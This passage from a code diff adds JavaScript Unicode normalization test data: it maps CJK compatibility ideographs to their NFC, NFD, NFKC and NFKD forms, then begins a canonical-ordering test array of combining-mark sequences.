+{ source: [0x2F93B], NFC: [0x24FA1], NFD: [0x24FA1], NFKC: [0x24FA1], NFKD: [0x24FA1] },
+{ source: [0x2F93C], NFC: [0x24FB8], NFD: [0x24FB8], NFKC: [0x24FB8], NFKD: [0x24FB8] },
+{ source: [0x2F93D], NFC: [0x25044], NFD: [0x25044], NFKC: [0x25044], NFKD: [0x25044] },
+{ source: [0x2F93E], NFC: [0x3FFC], NFD: [0x3FFC], NFKC: [0x3FFC], NFKD: [0x3FFC] },
+{ source: [0x2F93F], NFC: [0x4008], NFD: [0x4008], NFKC: [0x4008], NFKD: [0x4008] },
+{ source: [0x2F940], NFC: [0x76F4], NFD: [0x76F4], NFKC: [0x76F4], NFKD: [0x76F4] },
+{ source: [0x2F941], NFC: [0x250F3], NFD: [0x250F3], NFKC: [0x250F3], NFKD: [0x250F3] },
+{ source: [0x2F942], NFC: [0x250F2], NFD: [0x250F2], NFKC: [0x250F2], NFKD: [0x250F2] },
+{ source: [0x2F943], NFC: [0x25119], NFD: [0x25119], NFKC: [0x25119], NFKD: [0x25119] },
+{ source: [0x2F944], NFC: [0x25133], NFD: [0x25133], NFKC: [0x25133], NFKD: [0x25133] },
+{ source: [0x2F945], NFC: [0x771E], NFD: [0x771E], NFKC: [0x771E], NFKD: [0x771E] },
+{ source: [0x2F946], NFC: [0x771F], NFD: [0x771F], NFKC: [0x771F], NFKD: [0x771F] },
+{ source: [0x2F947], NFC: [0x771F], NFD: [0x771F], NFKC: [0x771F], NFKD: [0x771F] },
+{ source: [0x2F948], NFC: [0x774A], NFD: [0x774A], NFKC: [0x774A], NFKD: [0x774A] },
+{ source: [0x2F949], NFC: [0x4039], NFD: [0x4039], NFKC: [0x4039], NFKD: [0x4039] },
+{ source: [0x2F94A], NFC: [0x778B], NFD: [0x778B], NFKC: [0x778B], NFKD: [0x778B] },
+{ source: [0x2F94B], NFC: [0x4046], NFD: [0x4046], NFKC: [0x4046], NFKD: [0x4046] },
+{ source: [0x2F94C], NFC: [0x4096], NFD: [0x4096], NFKC: [0x4096], NFKD: [0x4096] },
+{ source: [0x2F94D], NFC: [0x2541D], NFD: [0x2541D], NFKC: [0x2541D], NFKD: [0x2541D] },
+{ source: [0x2F94E], NFC: [0x784E], NFD: [0x784E], NFKC: [0x784E], NFKD: [0x784E] },
+{ source: [0x2F94F], NFC: [0x788C], NFD: [0x788C], NFKC: [0x788C], NFKD: [0x788C] },
+{ source: [0x2F950], NFC: [0x78CC], NFD: [0x78CC], NFKC: [0x78CC], NFKD: [0x78CC] },
+{ source: [0x2F951], NFC: [0x40E3], NFD: [0x40E3], NFKC: [0x40E3], NFKD: [0x40E3] },
+{ source: [0x2F952], NFC: [0x25626], NFD: [0x25626], NFKC: [0x25626], NFKD: [0x25626] },
+{ source: [0x2F953], NFC: [0x7956], NFD: [0x7956], NFKC: [0x7956], NFKD: [0x7956] },
+{ source: [0x2F954], NFC: [0x2569A], NFD: [0x2569A], NFKC: [0x2569A], NFKD: [0x2569A] },
+{ source: [0x2F955], NFC: [0x256C5], NFD: [0x256C5], NFKC: [0x256C5], NFKD: [0x256C5] },
+{ source: [0x2F956], NFC: [0x798F], NFD: [0x798F], NFKC: [0x798F], NFKD: [0x798F] },
+{ source: [0x2F957], NFC: [0x79EB], NFD: [0x79EB], NFKC: [0x79EB], NFKD: [0x79EB] },
+{ source: [0x2F958], NFC: [0x412F], NFD: [0x412F], NFKC: [0x412F], NFKD: [0x412F] },
+{ source: [0x2F959], NFC: [0x7A40], NFD: [0x7A40], NFKC: [0x7A40], NFKD: [0x7A40] },
+{ source: [0x2F95A], NFC: [0x7A4A], NFD: [0x7A4A], NFKC: [0x7A4A], NFKD: [0x7A4A] },
+{ source: [0x2F95B], NFC: [0x7A4F], NFD: [0x7A4F], NFKC: [0x7A4F], NFKD: [0x7A4F] },
+{ source: [0x2F95C], NFC: [0x2597C], NFD: [0x2597C], NFKC: [0x2597C], NFKD: [0x2597C] },
+{ source: [0x2F95D], NFC: [0x25AA7], NFD: [0x25AA7], NFKC: [0x25AA7], NFKD: [0x25AA7] },
+{ source: [0x2F95E], NFC: [0x25AA7], NFD: [0x25AA7], NFKC: [0x25AA7], NFKD: [0x25AA7] },
+{ source: [0x2F95F], NFC: [0x7AEE], NFD: [0x7AEE], NFKC: [0x7AEE], NFKD: [0x7AEE] },
+{ source: [0x2F960], NFC: [0x4202], NFD: [0x4202], NFKC: [0x4202], NFKD: [0x4202] },
+{ source: [0x2F961], NFC: [0x25BAB], NFD: [0x25BAB], NFKC: [0x25BAB], NFKD: [0x25BAB] },
+{ source: [0x2F962], NFC: [0x7BC6], NFD: [0x7BC6], NFKC: [0x7BC6], NFKD: [0x7BC6] },
+{ source: [0x2F963], NFC: [0x7BC9], NFD: [0x7BC9], NFKC: [0x7BC9], NFKD: [0x7BC9] },
+{ source: [0x2F964], NFC: [0x4227], NFD: [0x4227], NFKC: [0x4227], NFKD: [0x4227] },
+{ source: [0x2F965], NFC: [0x25C80], NFD: [0x25C80], NFKC: [0x25C80], NFKD: [0x25C80] },
+{ source: [0x2F966], NFC: [0x7CD2], NFD: [0x7CD2], NFKC: [0x7CD2], NFKD: [0x7CD2] },
+{ source: [0x2F967], NFC: [0x42A0], NFD: [0x42A0], NFKC: [0x42A0], NFKD: [0x42A0] },
+{ source: [0x2F968], NFC: [0x7CE8], NFD: [0x7CE8], NFKC: [0x7CE8], NFKD: [0x7CE8] },
+{ source: [0x2F969], NFC: [0x7CE3], NFD: [0x7CE3], NFKC: [0x7CE3], NFKD: [0x7CE3] },
+{ source: [0x2F96A], NFC: [0x7D00], NFD: [0x7D00], NFKC: [0x7D00], NFKD: [0x7D00] },
+{ source: [0x2F96B], NFC: [0x25F86], NFD: [0x25F86], NFKC: [0x25F86], NFKD: [0x25F86] },
+{ source: [0x2F96C], NFC: [0x7D63], NFD: [0x7D63], NFKC: [0x7D63], NFKD: [0x7D63] },
+{ source: [0x2F96D], NFC: [0x4301], NFD: [0x4301], NFKC: [0x4301], NFKD: [0x4301] },
+{ source: [0x2F96E], NFC: [0x7DC7], NFD: [0x7DC7], NFKC: [0x7DC7], NFKD: [0x7DC7] },
+{ source: [0x2F96F], NFC: [0x7E02], NFD: [0x7E02], NFKC: [0x7E02], NFKD: [0x7E02] },
+{ source: [0x2F970], NFC: [0x7E45], NFD: [0x7E45], NFKC: [0x7E45], NFKD: [0x7E45] },
+{ source: [0x2F971], NFC: [0x4334], NFD: [0x4334], NFKC: [0x4334], NFKD: [0x4334] },
+{ source: [0x2F972], NFC: [0x26228], NFD: [0x26228], NFKC: [0x26228], NFKD: [0x26228] },
+{ source: [0x2F973], NFC: [0x26247], NFD: [0x26247], NFKC: [0x26247], NFKD: [0x26247] },
+{ source: [0x2F974], NFC: [0x4359], NFD: [0x4359], NFKC: [0x4359], NFKD: [0x4359] },
+{ source: [0x2F975], NFC: [0x262D9], NFD: [0x262D9], NFKC: [0x262D9], NFKD: [0x262D9] },
+{ source: [0x2F976], NFC: [0x7F7A], NFD: [0x7F7A], NFKC: [0x7F7A], NFKD: [0x7F7A] },
+{ source: [0x2F977], NFC: [0x2633E], NFD: [0x2633E], NFKC: [0x2633E], NFKD: [0x2633E] },
+{ source: [0x2F978], NFC: [0x7F95], NFD: [0x7F95], NFKC: [0x7F95], NFKD: [0x7F95] },
+{ source: [0x2F979], NFC: [0x7FFA], NFD: [0x7FFA], NFKC: [0x7FFA], NFKD: [0x7FFA] },
+{ source: [0x2F97A], NFC: [0x8005], NFD: [0x8005], NFKC: [0x8005], NFKD: [0x8005] },
+{ source: [0x2F97B], NFC: [0x264DA], NFD: [0x264DA], NFKC: [0x264DA], NFKD: [0x264DA] },
+{ source: [0x2F97C], NFC: [0x26523], NFD: [0x26523], NFKC: [0x26523], NFKD: [0x26523] },
+{ source: [0x2F97D], NFC: [0x8060], NFD: [0x8060], NFKC: [0x8060], NFKD: [0x8060] },
+{ source: [0x2F97E], NFC: [0x265A8], NFD: [0x265A8], NFKC: [0x265A8], NFKD: [0x265A8] },
+{ source: [0x2F97F], NFC: [0x8070], NFD: [0x8070], NFKC: [0x8070], NFKD: [0x8070] },
+{ source: [0x2F980], NFC: [0x2335F], NFD: [0x2335F], NFKC: [0x2335F], NFKD: [0x2335F] },
+{ source: [0x2F981], NFC: [0x43D5], NFD: [0x43D5], NFKC: [0x43D5], NFKD: [0x43D5] },
+{ source: [0x2F982], NFC: [0x80B2], NFD: [0x80B2], NFKC: [0x80B2], NFKD: [0x80B2] },
+{ source: [0x2F983], NFC: [0x8103], NFD: [0x8103], NFKC: [0x8103], NFKD: [0x8103] },
+{ source: [0x2F984], NFC: [0x440B], NFD: [0x440B], NFKC: [0x440B], NFKD: [0x440B] },
+{ source: [0x2F985], NFC: [0x813E], NFD: [0x813E], NFKC: [0x813E], NFKD: [0x813E] },
+{ source: [0x2F986], NFC: [0x5AB5], NFD: [0x5AB5], NFKC: [0x5AB5], NFKD: [0x5AB5] },
+{ source: [0x2F987], NFC: [0x267A7], NFD: [0x267A7], NFKC: [0x267A7], NFKD: [0x267A7] },
+{ source: [0x2F988], NFC: [0x267B5], NFD: [0x267B5], NFKC: [0x267B5], NFKD: [0x267B5] },
+{ source: [0x2F989], NFC: [0x23393], NFD: [0x23393], NFKC: [0x23393], NFKD: [0x23393] },
+{ source: [0x2F98A], NFC: [0x2339C], NFD: [0x2339C], NFKC: [0x2339C], NFKD: [0x2339C] },
+{ source: [0x2F98B], NFC: [0x8201], NFD: [0x8201], NFKC: [0x8201], NFKD: [0x8201] },
+{ source: [0x2F98C], NFC: [0x8204], NFD: [0x8204], NFKC: [0x8204], NFKD: [0x8204] },
+{ source: [0x2F98D], NFC: [0x8F9E], NFD: [0x8F9E], NFKC: [0x8F9E], NFKD: [0x8F9E] },
+{ source: [0x2F98E], NFC: [0x446B], NFD: [0x446B], NFKC: [0x446B], NFKD: [0x446B] },
+{ source: [0x2F98F], NFC: [0x8291], NFD: [0x8291], NFKC: [0x8291], NFKD: [0x8291] },
+{ source: [0x2F990], NFC: [0x828B], NFD: [0x828B], NFKC: [0x828B], NFKD: [0x828B] },
+{ source: [0x2F991], NFC: [0x829D], NFD: [0x829D], NFKC: [0x829D], NFKD: [0x829D] },
+{ source: [0x2F992], NFC: [0x52B3], NFD: [0x52B3], NFKC: [0x52B3], NFKD: [0x52B3] },
+{ source: [0x2F993], NFC: [0x82B1], NFD: [0x82B1], NFKC: [0x82B1], NFKD: [0x82B1] },
+{ source: [0x2F994], NFC: [0x82B3], NFD: [0x82B3], NFKC: [0x82B3], NFKD: [0x82B3] },
+{ source: [0x2F995], NFC: [0x82BD], NFD: [0x82BD], NFKC: [0x82BD], NFKD: [0x82BD] },
+{ source: [0x2F996], NFC: [0x82E6], NFD: [0x82E6], NFKC: [0x82E6], NFKD: [0x82E6] },
+{ source: [0x2F997], NFC: [0x26B3C], NFD: [0x26B3C], NFKC: [0x26B3C], NFKD: [0x26B3C] },
+{ source: [0x2F998], NFC: [0x82E5], NFD: [0x82E5], NFKC: [0x82E5], NFKD: [0x82E5] },
+{ source: [0x2F999], NFC: [0x831D], NFD: [0x831D], NFKC: [0x831D], NFKD: [0x831D] },
+{ source: [0x2F99A], NFC: [0x8363], NFD: [0x8363], NFKC: [0x8363], NFKD: [0x8363] },
+{ source: [0x2F99B], NFC: [0x83AD], NFD: [0x83AD], NFKC: [0x83AD], NFKD: [0x83AD] },
+{ source: [0x2F99C], NFC: [0x8323], NFD: [0x8323], NFKC: [0x8323], NFKD: [0x8323] },
+{ source: [0x2F99D], NFC: [0x83BD], NFD: [0x83BD], NFKC: [0x83BD], NFKD: [0x83BD] },
+{ source: [0x2F99E], NFC: [0x83E7], NFD: [0x83E7], NFKC: [0x83E7], NFKD: [0x83E7] },
+{ source: [0x2F99F], NFC: [0x8457], NFD: [0x8457], NFKC: [0x8457], NFKD: [0x8457] },
+{ source: [0x2F9A0], NFC: [0x8353], NFD: [0x8353], NFKC: [0x8353], NFKD: [0x8353] },
+{ source: [0x2F9A1], NFC: [0x83CA], NFD: [0x83CA], NFKC: [0x83CA], NFKD: [0x83CA] },
+{ source: [0x2F9A2], NFC: [0x83CC], NFD: [0x83CC], NFKC: [0x83CC], NFKD: [0x83CC] },
+{ source: [0x2F9A3], NFC: [0x83DC], NFD: [0x83DC], NFKC: [0x83DC], NFKD: [0x83DC] },
+{ source: [0x2F9A4], NFC: [0x26C36], NFD: [0x26C36], NFKC: [0x26C36], NFKD: [0x26C36] },
+{ source: [0x2F9A5], NFC: [0x26D6B], NFD: [0x26D6B], NFKC: [0x26D6B], NFKD: [0x26D6B] },
+{ source: [0x2F9A6], NFC: [0x26CD5], NFD: [0x26CD5], NFKC: [0x26CD5], NFKD: [0x26CD5] },
+{ source: [0x2F9A7], NFC: [0x452B], NFD: [0x452B], NFKC: [0x452B], NFKD: [0x452B] },
+{ source: [0x2F9A8], NFC: [0x84F1], NFD: [0x84F1], NFKC: [0x84F1], NFKD: [0x84F1] },
+{ source: [0x2F9A9], NFC: [0x84F3], NFD: [0x84F3], NFKC: [0x84F3], NFKD: [0x84F3] },
+{ source: [0x2F9AA], NFC: [0x8516], NFD: [0x8516], NFKC: [0x8516], NFKD: [0x8516] },
+{ source: [0x2F9AB], NFC: [0x273CA], NFD: [0x273CA], NFKC: [0x273CA], NFKD: [0x273CA] },
+{ source: [0x2F9AC], NFC: [0x8564], NFD: [0x8564], NFKC: [0x8564], NFKD: [0x8564] },
+{ source: [0x2F9AD], NFC: [0x26F2C], NFD: [0x26F2C], NFKC: [0x26F2C], NFKD: [0x26F2C] },
+{ source: [0x2F9AE], NFC: [0x455D], NFD: [0x455D], NFKC: [0x455D], NFKD: [0x455D] },
+{ source: [0x2F9AF], NFC: [0x4561], NFD: [0x4561], NFKC: [0x4561], NFKD: [0x4561] },
+{ source: [0x2F9B0], NFC: [0x26FB1], NFD: [0x26FB1], NFKC: [0x26FB1], NFKD: [0x26FB1] },
+{ source: [0x2F9B1], NFC: [0x270D2], NFD: [0x270D2], NFKC: [0x270D2], NFKD: [0x270D2] },
+{ source: [0x2F9B2], NFC: [0x456B], NFD: [0x456B], NFKC: [0x456B], NFKD: [0x456B] },
+{ source: [0x2F9B3], NFC: [0x8650], NFD: [0x8650], NFKC: [0x8650], NFKD: [0x8650] },
+{ source: [0x2F9B4], NFC: [0x865C], NFD: [0x865C], NFKC: [0x865C], NFKD: [0x865C] },
+{ source: [0x2F9B5], NFC: [0x8667], NFD: [0x8667], NFKC: [0x8667], NFKD: [0x8667] },
+{ source: [0x2F9B6], NFC: [0x8669], NFD: [0x8669], NFKC: [0x8669], NFKD: [0x8669] },
+{ source: [0x2F9B7], NFC: [0x86A9], NFD: [0x86A9], NFKC: [0x86A9], NFKD: [0x86A9] },
+{ source: [0x2F9B8], NFC: [0x8688], NFD: [0x8688], NFKC: [0x8688], NFKD: [0x8688] },
+{ source: [0x2F9B9], NFC: [0x870E], NFD: [0x870E], NFKC: [0x870E], NFKD: [0x870E] },
+{ source: [0x2F9BA], NFC: [0x86E2], NFD: [0x86E2], NFKC: [0x86E2], NFKD: [0x86E2] },
+{ source: [0x2F9BB], NFC: [0x8779], NFD: [0x8779], NFKC: [0x8779], NFKD: [0x8779] },
+{ source: [0x2F9BC], NFC: [0x8728], NFD: [0x8728], NFKC: [0x8728], NFKD: [0x8728] },
+{ source: [0x2F9BD], NFC: [0x876B], NFD: [0x876B], NFKC: [0x876B], NFKD: [0x876B] },
+{ source: [0x2F9BE], NFC: [0x8786], NFD: [0x8786], NFKC: [0x8786], NFKD: [0x8786] },
+{ source: [0x2F9BF], NFC: [0x45D7], NFD: [0x45D7], NFKC: [0x45D7], NFKD: [0x45D7] },
+{ source: [0x2F9C0], NFC: [0x87E1], NFD: [0x87E1], NFKC: [0x87E1], NFKD: [0x87E1] },
+{ source: [0x2F9C1], NFC: [0x8801], NFD: [0x8801], NFKC: [0x8801], NFKD: [0x8801] },
+{ source: [0x2F9C2], NFC: [0x45F9], NFD: [0x45F9], NFKC: [0x45F9], NFKD: [0x45F9] },
+{ source: [0x2F9C3], NFC: [0x8860], NFD: [0x8860], NFKC: [0x8860], NFKD: [0x8860] },
+{ source: [0x2F9C4], NFC: [0x8863], NFD: [0x8863], NFKC: [0x8863], NFKD: [0x8863] },
+{ source: [0x2F9C5], NFC: [0x27667], NFD: [0x27667], NFKC: [0x27667], NFKD: [0x27667] },
+{ source: [0x2F9C6], NFC: [0x88D7], NFD: [0x88D7], NFKC: [0x88D7], NFKD: [0x88D7] },
+{ source: [0x2F9C7], NFC: [0x88DE], NFD: [0x88DE], NFKC: [0x88DE], NFKD: [0x88DE] },
+{ source: [0x2F9C8], NFC: [0x4635], NFD: [0x4635], NFKC: [0x4635], NFKD: [0x4635] },
+{ source: [0x2F9C9], NFC: [0x88FA], NFD: [0x88FA], NFKC: [0x88FA], NFKD: [0x88FA] },
+{ source: [0x2F9CA], NFC: [0x34BB], NFD: [0x34BB], NFKC: [0x34BB], NFKD: [0x34BB] },
+{ source: [0x2F9CB], NFC: [0x278AE], NFD: [0x278AE], NFKC: [0x278AE], NFKD: [0x278AE] },
+{ source: [0x2F9CC], NFC: [0x27966], NFD: [0x27966], NFKC: [0x27966], NFKD: [0x27966] },
+{ source: [0x2F9CD], NFC: [0x46BE], NFD: [0x46BE], NFKC: [0x46BE], NFKD: [0x46BE] },
+{ source: [0x2F9CE], NFC: [0x46C7], NFD: [0x46C7], NFKC: [0x46C7], NFKD: [0x46C7] },
+{ source: [0x2F9CF], NFC: [0x8AA0], NFD: [0x8AA0], NFKC: [0x8AA0], NFKD: [0x8AA0] },
+{ source: [0x2F9D0], NFC: [0x8AED], NFD: [0x8AED], NFKC: [0x8AED], NFKD: [0x8AED] },
+{ source: [0x2F9D1], NFC: [0x8B8A], NFD: [0x8B8A], NFKC: [0x8B8A], NFKD: [0x8B8A] },
+{ source: [0x2F9D2], NFC: [0x8C55], NFD: [0x8C55], NFKC: [0x8C55], NFKD: [0x8C55] },
+{ source: [0x2F9D3], NFC: [0x27CA8], NFD: [0x27CA8], NFKC: [0x27CA8], NFKD: [0x27CA8] },
+{ source: [0x2F9D4], NFC: [0x8CAB], NFD: [0x8CAB], NFKC: [0x8CAB], NFKD: [0x8CAB] },
+{ source: [0x2F9D5], NFC: [0x8CC1], NFD: [0x8CC1], NFKC: [0x8CC1], NFKD: [0x8CC1] },
+{ source: [0x2F9D6], NFC: [0x8D1B], NFD: [0x8D1B], NFKC: [0x8D1B], NFKD: [0x8D1B] },
+{ source: [0x2F9D7], NFC: [0x8D77], NFD: [0x8D77], NFKC: [0x8D77], NFKD: [0x8D77] },
+{ source: [0x2F9D8], NFC: [0x27F2F], NFD: [0x27F2F], NFKC: [0x27F2F], NFKD: [0x27F2F] },
+{ source: [0x2F9D9], NFC: [0x20804], NFD: [0x20804], NFKC: [0x20804], NFKD: [0x20804] },
+{ source: [0x2F9DA], NFC: [0x8DCB], NFD: [0x8DCB], NFKC: [0x8DCB], NFKD: [0x8DCB] },
+{ source: [0x2F9DB], NFC: [0x8DBC], NFD: [0x8DBC], NFKC: [0x8DBC], NFKD: [0x8DBC] },
+{ source: [0x2F9DC], NFC: [0x8DF0], NFD: [0x8DF0], NFKC: [0x8DF0], NFKD: [0x8DF0] },
+{ source: [0x2F9DD], NFC: [0x208DE], NFD: [0x208DE], NFKC: [0x208DE], NFKD: [0x208DE] },
+{ source: [0x2F9DE], NFC: [0x8ED4], NFD: [0x8ED4], NFKC: [0x8ED4], NFKD: [0x8ED4] },
+{ source: [0x2F9DF], NFC: [0x8F38], NFD: [0x8F38], NFKC: [0x8F38], NFKD: [0x8F38] },
+{ source: [0x2F9E0], NFC: [0x285D2], NFD: [0x285D2], NFKC: [0x285D2], NFKD: [0x285D2] },
+{ source: [0x2F9E1], NFC: [0x285ED], NFD: [0x285ED], NFKC: [0x285ED], NFKD: [0x285ED] },
+{ source: [0x2F9E2], NFC: [0x9094], NFD: [0x9094], NFKC: [0x9094], NFKD: [0x9094] },
+{ source: [0x2F9E3], NFC: [0x90F1], NFD: [0x90F1], NFKC: [0x90F1], NFKD: [0x90F1] },
+{ source: [0x2F9E4], NFC: [0x9111], NFD: [0x9111], NFKC: [0x9111], NFKD: [0x9111] },
+{ source: [0x2F9E5], NFC: [0x2872E], NFD: [0x2872E], NFKC: [0x2872E], NFKD: [0x2872E] },
+{ source: [0x2F9E6], NFC: [0x911B], NFD: [0x911B], NFKC: [0x911B], NFKD: [0x911B] },
+{ source: [0x2F9E7], NFC: [0x9238], NFD: [0x9238], NFKC: [0x9238], NFKD: [0x9238] },
+{ source: [0x2F9E8], NFC: [0x92D7], NFD: [0x92D7], NFKC: [0x92D7], NFKD: [0x92D7] },
+{ source: [0x2F9E9], NFC: [0x92D8], NFD: [0x92D8], NFKC: [0x92D8], NFKD: [0x92D8] },
+{ source: [0x2F9EA], NFC: [0x927C], NFD: [0x927C], NFKC: [0x927C], NFKD: [0x927C] },
+{ source: [0x2F9EB], NFC: [0x93F9], NFD: [0x93F9], NFKC: [0x93F9], NFKD: [0x93F9] },
+{ source: [0x2F9EC], NFC: [0x9415], NFD: [0x9415], NFKC: [0x9415], NFKD: [0x9415] },
+{ source: [0x2F9ED], NFC: [0x28BFA], NFD: [0x28BFA], NFKC: [0x28BFA], NFKD: [0x28BFA] },
+{ source: [0x2F9EE], NFC: [0x958B], NFD: [0x958B], NFKC: [0x958B], NFKD: [0x958B] },
+{ source: [0x2F9EF], NFC: [0x4995], NFD: [0x4995], NFKC: [0x4995], NFKD: [0x4995] },
+{ source: [0x2F9F0], NFC: [0x95B7], NFD: [0x95B7], NFKC: [0x95B7], NFKD: [0x95B7] },
+{ source: [0x2F9F1], NFC: [0x28D77], NFD: [0x28D77], NFKC: [0x28D77], NFKD: [0x28D77] },
+{ source: [0x2F9F2], NFC: [0x49E6], NFD: [0x49E6], NFKC: [0x49E6], NFKD: [0x49E6] },
+{ source: [0x2F9F3], NFC: [0x96C3], NFD: [0x96C3], NFKC: [0x96C3], NFKD: [0x96C3] },
+{ source: [0x2F9F4], NFC: [0x5DB2], NFD: [0x5DB2], NFKC: [0x5DB2], NFKD: [0x5DB2] },
+{ source: [0x2F9F5], NFC: [0x9723], NFD: [0x9723], NFKC: [0x9723], NFKD: [0x9723] },
+{ source: [0x2F9F6], NFC: [0x29145], NFD: [0x29145], NFKC: [0x29145], NFKD: [0x29145] },
+{ source: [0x2F9F7], NFC: [0x2921A], NFD: [0x2921A], NFKC: [0x2921A], NFKD: [0x2921A] },
+{ source: [0x2F9F8], NFC: [0x4A6E], NFD: [0x4A6E], NFKC: [0x4A6E], NFKD: [0x4A6E] },
+{ source: [0x2F9F9], NFC: [0x4A76], NFD: [0x4A76], NFKC: [0x4A76], NFKD: [0x4A76] },
+{ source: [0x2F9FA], NFC: [0x97E0], NFD: [0x97E0], NFKC: [0x97E0], NFKD: [0x97E0] },
+{ source: [0x2F9FB], NFC: [0x2940A], NFD: [0x2940A], NFKC: [0x2940A], NFKD: [0x2940A] },
+{ source: [0x2F9FC], NFC: [0x4AB2], NFD: [0x4AB2], NFKC: [0x4AB2], NFKD: [0x4AB2] },
+{ source: [0x2F9FD], NFC: [0x29496], NFD: [0x29496], NFKC: [0x29496], NFKD: [0x29496] },
+{ source: [0x2F9FE], NFC: [0x980B], NFD: [0x980B], NFKC: [0x980B], NFKD: [0x980B] },
+{ source: [0x2F9FF], NFC: [0x980B], NFD: [0x980B], NFKC: [0x980B], NFKD: [0x980B] },
+{ source: [0x2FA00], NFC: [0x9829], NFD: [0x9829], NFKC: [0x9829], NFKD: [0x9829] },
+{ source: [0x2FA01], NFC: [0x295B6], NFD: [0x295B6], NFKC: [0x295B6], NFKD: [0x295B6] },
+{ source: [0x2FA02], NFC: [0x98E2], NFD: [0x98E2], NFKC: [0x98E2], NFKD: [0x98E2] },
+{ source: [0x2FA03], NFC: [0x4B33], NFD: [0x4B33], NFKC: [0x4B33], NFKD: [0x4B33] },
+{ source: [0x2FA04], NFC: [0x9929], NFD: [0x9929], NFKC: [0x9929], NFKD: [0x9929] },
+{ source: [0x2FA05], NFC: [0x99A7], NFD: [0x99A7], NFKC: [0x99A7], NFKD: [0x99A7] },
+{ source: [0x2FA06], NFC: [0x99C2], NFD: [0x99C2], NFKC: [0x99C2], NFKD: [0x99C2] },
+{ source: [0x2FA07], NFC: [0x99FE], NFD: [0x99FE], NFKC: [0x99FE], NFKD: [0x99FE] },
+{ source: [0x2FA08], NFC: [0x4BCE], NFD: [0x4BCE], NFKC: [0x4BCE], NFKD: [0x4BCE] },
+{ source: [0x2FA09], NFC: [0x29B30], NFD: [0x29B30], NFKC: [0x29B30], NFKD: [0x29B30] },
+{ source: [0x2FA0A], NFC: [0x9B12], NFD: [0x9B12], NFKC: [0x9B12], NFKD: [0x9B12] },
+{ source: [0x2FA0B], NFC: [0x9C40], NFD: [0x9C40], NFKC: [0x9C40], NFKD: [0x9C40] },
+{ source: [0x2FA0C], NFC: [0x9CFD], NFD: [0x9CFD], NFKC: [0x9CFD], NFKD: [0x9CFD] },
+{ source: [0x2FA0D], NFC: [0x4CCE], NFD: [0x4CCE], NFKC: [0x4CCE], NFKD: [0x4CCE] },
+{ source: [0x2FA0E], NFC: [0x4CED], NFD: [0x4CED], NFKC: [0x4CED], NFKD: [0x4CED] },
+{ source: [0x2FA0F], NFC: [0x9D67], NFD: [0x9D67], NFKC: [0x9D67], NFKD: [0x9D67] },
+{ source: [0x2FA10], NFC: [0x2A0CE], NFD: [0x2A0CE], NFKC: [0x2A0CE], NFKD: [0x2A0CE] },
+{ source: [0x2FA11], NFC: [0x4CF8], NFD: [0x4CF8], NFKC: [0x4CF8], NFKD: [0x4CF8] },
+{ source: [0x2FA12], NFC: [0x2A105], NFD: [0x2A105], NFKC: [0x2A105], NFKD: [0x2A105] },
+{ source: [0x2FA13], NFC: [0x2A20E], NFD: [0x2A20E], NFKC: [0x2A20E], NFKD: [0x2A20E] },
+{ source: [0x2FA14], NFC: [0x2A291], NFD: [0x2A291], NFKC: [0x2A291], NFKD: [0x2A291] },
+{ source: [0x2FA15], NFC: [0x9EBB], NFD: [0x9EBB], NFKC: [0x9EBB], NFKD: [0x9EBB] },
+{ source: [0x2FA16], NFC: [0x4D56], NFD: [0x4D56], NFKC: [0x4D56], NFKD: [0x4D56] },
+{ source: [0x2FA17], NFC: [0x9EF9], NFD: [0x9EF9], NFKC: [0x9EF9], NFKD: [0x9EF9] },
+{ source: [0x2FA18], NFC: [0x9EFE], NFD: [0x9EFE], NFKC: [0x9EFE], NFKD: [0x9EFE] },
+{ source: [0x2FA19], NFC: [0x9F05], NFD: [0x9F05], NFKC: [0x9F05], NFKD: [0x9F05] },
+{ source: [0x2FA1A], NFC: [0x9F0F], NFD: [0x9F0F], NFKC: [0x9F0F], NFKD: [0x9F0F] },
+{ source: [0x2FA1B], NFC: [0x9F16], NFD: [0x9F16], NFKC: [0x9F16], NFKD: [0x9F16] },
+{ source: [0x2FA1C], NFC: [0x9F3B], NFD: [0x9F3B], NFKC: [0x9F3B], NFKD: [0x9F3B] },
+{ source: [0x2FA1D], NFC: [0x2A600], NFD: [0x2A600], NFKC: [0x2A600], NFKD: [0x2A600] }
+];
+/* Part2 # Canonical Order Test */
+var tests_part2 = [
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0300, 0x0062], NFC: [0x00E0, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0300, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0300, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x00E0, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0300, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0301, 0x0062], NFC: [0x00E0, 0x05AE, 0x0301, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0301, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0301, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0301, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0301, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x00E1, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0301, 0x0300, 0x0315, 0x0062], NFKC: [0x00E1, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0301, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0302, 0x0062], NFC: [0x00E0, 0x05AE, 0x0302, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0302, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0302, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0302, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0302, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x1EA7, 0x05AE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0302, 0x0300, 0x0315, 0x0062], NFKC: [0x1EA7, 0x05AE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0302, 0x0300, 0x0315, 0x0062] },
